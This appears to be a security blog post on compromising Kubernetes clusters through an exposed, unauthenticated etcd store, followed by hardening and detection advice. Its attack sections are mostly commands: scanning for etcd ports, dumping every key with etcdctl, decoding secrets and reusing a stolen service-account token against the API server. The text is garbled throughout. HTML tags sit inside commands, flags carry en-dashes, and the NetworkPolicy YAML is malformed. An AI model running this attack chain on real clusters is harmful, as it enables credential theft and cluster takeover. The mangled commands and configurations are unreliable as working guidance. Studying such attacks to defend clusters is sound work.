Listen to this Post
Introduction:
The architectural complexity of Kubernetes, while a strength, also creates a vast attack surface. A single misconfiguration in a core component like etcd, the cluster’s brain, can lead to a catastrophic chain reaction, compromising every pod, secret, and node under its control. Understanding these attack paths is no longer optional for DevOps and security teams; it is fundamental to securing the cloud-native ecosystem.
Learning Objectives:
- Understand the critical role of etcd and how its misconfiguration leads to full cluster compromise.
- Learn to exploit common etcd misconfigurations to extract secrets and escalate privileges.
- Implement hardening measures to secure etcd endpoints and the broader Kubernetes API server.
You Should Know:
- The Crown Jewels: What is etcd and Why is it a Target?
Etcd is a consistent and highly available key-value store used as Kubernetes’ backing store for all cluster data. This includes the most sensitive information: secrets, service account tokens, RBAC policies, and network configurations. If an attacker gains access to etcd, they effectively have the keys to the kingdom. They can decrypt secrets, create new privileged pods, or even bring down the entire cluster.
A common misconfiguration involves exposing the etcd server to the network without proper authentication or transport encryption. This often occurs when administrators overlook the security settings during a rushed deployment or for testing purposes that accidentally make it to production.
2. Reconnaissance: Discovering Exposed etcd Endpoints
The first step for an attacker is to discover if an etcd instance is accessible. While etcd typically listens on client ports 2379/2380, discovery can happen through network scanning or by compromising a pod and inspecting the environment.
Step-by-Step Guide:
From a Compromised Pod: If you have shell access inside a pod, you can query the Kubernetes API to find hints about the control plane.
` Check for environment variables or the API server endpoint`
`env | grep KUBERNETES`
`curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version`
Network Scanning: Using a tool like `nmap` from an external perspective or a deployed pod to scan the network range.
` Scan for open etcd ports (replace 10.0.0.0/24 with your cluster CIDR)`
`nmap -p 2379,2380 –open 10.0.0.0/24`
3. The Attack: Interacting with an Unauthenticated etcd
Once an exposed etcd endpoint is found (e.g., `http://10.0.1.100:2379`), the attacker can use the standard `etcdctl` tool to interact with it. If no authentication is required, the attacker can dump all keys.
Step-by-Step Guide:
Linux/Mac Setup: Ensure `etcdctl` is installed.
` On Ubuntu/Debian`
`sudo apt-get install etcd-client`
` Set the endpoint (this is the critical misconfiguration)`
`export ETCDCTL_ENDPOINTS=http://10.0.1.100:2379`
` Dump all keys in the store. The ‘v3’ API is the current standard.<h2 style="color: yellow;">export ETCDCTL_API=3</h2>etcdctl get / –prefix –keys-only
<h2 style="color: yellow;"></h2>
` To get the full data, including the base64-encoded secrets:`
<h2 style="color: yellow;">etcdctl get / –prefix`
4. Weaponization: Decoding Kubernetes Secrets
The data retrieved from etcd is encoded, not encrypted. Kubernetes secrets are stored as base64-encoded strings. An attacker can easily decode them to obtain clear-text passwords, TLS certificates, and service account tokens.
Step-by-Step Guide:
After performing the `etcdctl get` command, you will have a list of keys and their values.
Identify a secret by its path, which typically follows the pattern /registry/secrets/<namespace>/<secret-name>.
The `kubectl` utility can decode secrets, but if you only have the raw data, use command-line tools.
` Example: You find a secret value ‘c29tZXNlY3JldHBhc3N3b3Jk’ in the dump.`
`echo ‘c29tZXNlY3JldHBhc3N3b3Jk’ | base64 –decode`
` Output: somesecretpassword`
5. Lateral Movement: Using Stolen Service Account Tokens
The most powerful items found in etcd are often the service account tokens. These are JWT tokens that the Kubernetes API server uses for authentication. A stolen token from the `kube-system` namespace can have cluster-admin privileges.
Step-by-Step Guide:
Extract a service account token from a secret. The token is stored under the key `token` in the secret data.
Use this token to authenticate directly to the Kubernetes API server.
` Set the token and API server endpoint`
`export TOKEN=”eyJhbGc…“`
`export APISERVER=”https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}”`
` List all pods in all namespaces to confirm privilege level`
`curl -H “Authorization: Bearer $TOKEN” -k $APISERVER/api/v1/pods`
` Alternatively, configure kubectl to use the stolen token`
`kubectl config set-credentials compromised-user –token=$TOKEN`
`kubectl config set-context compromised-context –cluster=default-cluster –user=compromised-user`
`kubectl config use-context compromised-context`
`kubectl get pods –all-namespaces`
6. Mitigation: Hardening Your etcd Deployment
Preventing this attack vector requires a defense-in-depth approach, focusing on network security and authentication.
Step-by-Step Guide:
Network Policies: Isolate etcd servers. They should not be accessible from any pod or node that does not explicitly require access (i.e., only the API servers).
` Example NetworkPolicy to deny all traffic to the etcd port by default`
`apiVersion: networking.k8s.io/v1`
`kind: NetworkPolicy`
`metadata:`
`name: default-deny-etcd`
`namespace: kube-system`
`spec:`
`podSelector: {}`
`policyTypes:`
- Ingress
- Egress
`egress:`
- to:`
- namespaceSelector:`
matchLabels:`
name: kube-system`
ports:`
- protocol: TCP
<h2 style="color: yellow;">port: 2379`Enable etcd Authentication: Configure etcd with peer and client TLS certificates. This ensures only authenticated clients (like the API server) can communicate with it.
Encryption at Rest: Enable EncryptionConfiguration in the Kubernetes API server to ensure that secrets are encrypted before being written to etcd, rendering a raw dump useless without the encryption key.
` A partial kube-apiserver manifest example with encryption config`
`spec:`
`containers:`
`- command:`
`- kube-apiserver`
`- –encryption-provider-config=/etc/kubernetes/enc/enc.yaml`
`…`
7. Detection: Monitoring for etcd Anomalies
Proactive monitoring can detect scanning and access attempts against your etcd instances.
Step-by-Step Guide:
Audit Logging: Enable and centralize Kubernetes audit logs. Look for `list` and `get` requests against secrets that are anomalous in volume or source.
Network Monitoring: Use tools like Falco or Cilium Tetragon to detect unexpected network connections to the etcd port from pods or nodes.
` Example Falco rule to alert on etcd connection attempts`
`- rule: Contact etcd`
`desc: Detect attempts to contact the etcd server from a container.`
`condition: >`
`container and`
`evt.type=connect and`
`server_port=2379 and`
`not proc.name in (“etcd”, “kube-apiserver”)`
`output: Etcd connection attempted (user=%user.name command=%proc.cmdline connection=%fd.name server=%fd.sip server_port=%fd.sport)`
`priority: WARNING`
`tags: [network, kubernetes, etcd]`
What Undercode Say:
- The Principle of Least Privilege is Non-Negotiable: Network access to etcd must be restricted with the same rigor as the root password for a database. There is no valid operational reason for general workload access.
- Secrets are Not Secret by Default: Storing a “secret” in a Kubernetes Secret resource without enabling encryption at rest is merely encoding, not encrypting. It provides a false sense of security.
The exposed etcd scenario is a classic example of a “game over” misconfiguration. It bypasses all the sophisticated RBAC and security policies built into Kubernetes because it targets the underlying data store itself. This analysis reveals that while Kubernetes provides powerful abstractions, it cannot absolve operators of fundamental infrastructure security responsibilities. The community’s focus on ease of deployment sometimes overshadows these critical hardening steps, creating systemic risk. The shift-left security movement must encompass not just application code but also the declarative state of the cluster’s own control plane.
Prediction:
The increasing automation of Kubernetes deployments, particularly through GitOps workflows, will create a new wave of automated misconfigurations. We predict a rise in “IaC (Infrastructure as Code) poisoning” attacks, where malicious actors or scripts will automatically scan for and exploit weakly-configured etcd and API servers in newly spun-up clusters, compromising them within minutes of creation. This will force the integration of security scanning and policy-as-code tools like Checkov or Terrascan directly into the CI/CD pipelines for infrastructure code, making pre-deployment security validation a standard for any Kubernetes deployment.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Coquinn Kubecon – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
